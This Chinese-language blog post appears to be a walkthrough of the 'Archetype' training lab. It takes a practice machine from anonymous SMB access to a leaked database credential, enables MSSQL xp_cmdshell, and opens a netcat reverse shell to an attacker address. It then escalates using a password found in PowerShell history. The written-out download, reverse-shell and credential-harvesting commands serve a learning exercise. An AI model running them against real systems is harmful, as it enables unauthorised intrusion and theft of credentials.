TIER 2: Archetype

发布时间 2023-06-23 13:55:49作者: sha0dow

TIER 2: Archetype

扫描 nmap

使用 nmap 进行扫描目标 IP,发现目标是 Windows 服务器,开放 SMB 和 SQL Server 服务。

SMB

SMB 之前已经接触过,在 Windows 和 Linux 操作系统上连接 SMB 服务器的方法:

  • windows 上使用:使用资源管理器、cmd 的 net、powershell 的 New-PSDrive 等。
  • linux 上需要借助 smbclient 进行连接,smbclient 属于 samba 的一部分。

Microsoft 官方资料:

我们在 kali 使用 smbclient 时,先使用 -N 和 -L 选项进行匿名登录和列出共享目录。提示使用 smbclient 不明白时,用 man smbclient 查看帮助文档。在 backups 下可以发现一个 prod.dtsConfig 配置文件,通过 get 可以下载这个文件。

使用 cat 查看文件,我们可以发现其中是明文存储账号密码凭证。主机 ARCHETYPE 用户 sql_svc 密码 M3g4c0rp123 凭证。

Microsoft SQL Server

Microsoft SQL Server 是由 Microsoft 开发和管理的关系型数据库管理系统(RDBMS)。SQL Server 使用 TCP/IP 协议进行网络通信,并使用默认的 1433 端口号。但是,端口号可以根据需要进行配置和更改。

通过上面在配置文件中发现的信息,我们通过 impacket 工具进行登录。

  • 项目地址:https://github.com/fortra/impacket
  • 建议使用 Python 创建虚拟环境安装 impacket
  • 我们使用项目 impacket/examples/ 下的 mssqlclient.py 进行连接

使用 python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth 连接,注意 {TARGET_IP} 填写目标 IP 地址。

在登录 MSSQL 我们尝试攻击

SELECT is_srvrolemember('sysadmin'); -- 检查当前用户是否是 sysadmin

确认当前用户是 sysadmin 后,我们可以使用 xp_cmdshell 执行命令

-- 判断是否开启 xp_cmdshell
EXEC xp_cmdshell 'net user';

-- 如果没有,下面是激活 xp_cmdshell 的方法
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

确认激活后,通过 xp_cmdshell "whoami" 尝试。现在我们计划在目标上传 nc64.exe 二进制文件,并在监听端口上执行一个交互式的 cmd.exe 进程。

反弹 shell

我们先下载 nc64.exe 二进制文件:https://github.com/int0x33/nc.exe/blob/master/nc64.exe

注:如果使用 windows 下载可能会提示病毒

  • 下载完成后,我们使用 python3 -m http.server 80 在本地启动一个 HTTP 服务
  • 使用 xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe" 让目标下载 nc64.exe 文件
  • kali 上使用 nc -lvnp 4444 监听 4444 端口
  • 开始反弹 xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.9 4444" 让目标主动连接我们的监听端口

sql_svc 用户的 flag 在 C:\Users\sql_svc\Desktop\ 目录下。

提权

我们借助 winPEAS 工具进行提权,下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe

使用步骤相似,同样是使用 Python 的 HTTP 服务,让目标下载。让目标下载后直接 .\winPEASx64.exe 运行即可。

我们可以观察到用户具有 SeImpersonatePrivilege 特权,这也容易受到 Juicy Potato 漏洞利用的影响。然而,我们可以首先检查两个现有的文件,其中可能存在凭据。

由于这是一个普通用户账户和服务账户,值得检查频繁访问的文件或执行的命令。为了做到这一点,我们将读取 PowerShell 历史文件,这相当于 Linux 系统中的 .bash_history 文件。ConsoleHost_history.txt 可以在路径 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 目录下。通过分析 PowerShell 历史文件,攻击者可以查找之前执行过的命令、访问过的文件路径以及可能存在的敏感信息和凭据。他们可能会寻找密码、敏感命令、远程连接等活动,以获取对其他系统或账户的进一步访问权限。

最终我们在 ConsoleHost_history.txt 中可以发现管理员密码 MEGACORP_4dm1n!!,之后使用 psexec.py 连接 Administrator 用户即可。flag 在 C:\Users\Administrator\Desktop\ 目录下。